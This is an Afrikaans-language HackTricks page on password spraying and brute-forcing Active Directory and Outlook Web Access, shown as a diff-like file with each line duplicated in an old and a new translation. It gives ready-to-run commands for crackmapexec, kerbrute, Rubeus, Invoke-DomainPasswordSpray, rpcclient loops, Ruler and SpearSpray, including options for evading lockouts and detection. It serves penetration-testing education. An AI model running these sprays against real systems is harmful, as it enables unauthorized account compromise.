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src/windows-hardening/active-directory-methodology/password-spraying.md
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# Wachtwoord Spuiting / Brute Force
# Password Spraying / Brute Force
{{#include ../../banners/hacktricks-training.md}}
## **Wachtwoord Spuiting**
## **Password Spraying**
Sodra jy verskeie **geldige gebruikersname** gevind het, kan jy die mees **gewone wagwoorde** probeer (hou die wagwoordbeleid van die omgewing in gedagte) met elkeen van die ontdekte gebruikers.\
Deur **standaard** is die **minimum** **wagwoord** **lengte** **7**.
Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou die password policy van die omgewing in gedagte) vir elkeen van die ontdekte gebruikers.\
By **default** is die **minimum** **password** **length** **7**.
Lyste van algemene gebruikersname kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Lyste van common usernames kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Let daarop dat jy **sekere rekeninge kan sluit as jy verskeie verkeerde wagwoorde probeer** (deur standaard meer as 10).
Let wel dat jy sommige rekeninge kan lockout as jy verskeie wrong passwords probeer (by default meer as 10).
### Kry wagwoordbeleid
### Get password policy
As jy 'n paar gebruikersakkrediteer of 'n shell as 'n domeingebruiker het, kan jy **die wagwoordbeleid kry met**:
As jy user credentials of 'n shell as 'n domain user het kan jy **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitatie vanaf Linux (of alles)
### Exploitation van Linux (of almal)
- Gebruik **crackmapexec:**
```bash
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om vergrendeling te vermy):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om lockouts te voorkom):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL NIE, WERK SOMTYDS NIE
- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVELEN - SOMS WERK DIT NIE
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -60,14 +60,14 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
![](<../../images/image (745).png>)
- Deur **rpcclient** te gebruik:
- Met behulp van **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Van Windows
#### Vanaf Windows
- Met [Rubeus](https://github.com/Zer1t0/Rubeus) weergawe met brute module:
```bash
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan gebruikers uit die domein genereer volgens die verstek en dit sal die wagwoordbeleid van die domein verkry en pogings volgens dit beperk):
- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en dit sal die wagwoordbeleid van die domein haal en pogings daarvolgens beperk):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -89,17 +89,82 @@ Invoke-SprayEmptyPassword
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying verminder geraas teen SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD se lockout-beleid. SpearSpray kombineer LDAP-gedrewe targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook gekompromitteerde principals in Neo4j tag vir BloodHound pathing.
Key ideas:
- LDAP-gebruikersontdekking met paging en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters.
- Domain lockout policy + PSO-aware filtering om 'n konfigureerbare poging-buffer (threshold) oor te laat en te voorkom dat gebruikers geblokkeer word.
- Kerberos pre-auth validering met vinnige gssapi bindings (genereer 4768/4771 op DCs in plaas van 4625).
- Patroon-gebaseerde, per-gebruiker wagwoordgenerering met veranderlikes soos name en temporale waardes afgelei van elke gebruiker se pwdLastSet.
- Deursetbeheer met threads, jitter, en maksimum versoeke per sekonde.
- Opsionele Neo4j-integrasie om owned users vir BloodHound te merk.
Basic usage and discovery:
```bash
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Teiken- en patroonbeheer:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth en veiligheidskontroles:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound verryking:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Oorsig van die patroonstelsel (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
```
Beskikbare veranderlikes sluit in:
- {name}, {samaccountname}
- Tydelike waardes vanaf elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Samestellingshelpers en org token: {separator}, {suffix}, {extra}
Bedryfsnotas:
- Gee voorkeur aan navraag by die PDC-emulator met -dc om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees.
- badPwdCount-herstellings word geaktiveer by die volgende poging na die waarnemingsvenster; gebruik drempel en tydsberekening om veilig te bly.
- Kerberos pre-auth pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te pas.
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
Daar is verskeie gereedskap vir p**assword spraying outlook**.
- Met [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Met [Ruler](https://github.com/sensepost/ruler) (betroubaar!)
- Met [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Met [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Om enige van hierdie gereedskap te gebruik, benodig jy 'n gebruikerslys en 'n wagwoord / 'n klein lys van wagwoorde om te spray.
Om enige van hierdie gereedskap te gebruik, benodig jy 'n user list en 'n password / 'n klein lys van passwords om te spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -120,6 +185,11 @@ Om enige van hierdie gereedskap te gebruik, benodig jy 'n gebruikerslys en 'n wa
## Verwysings
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)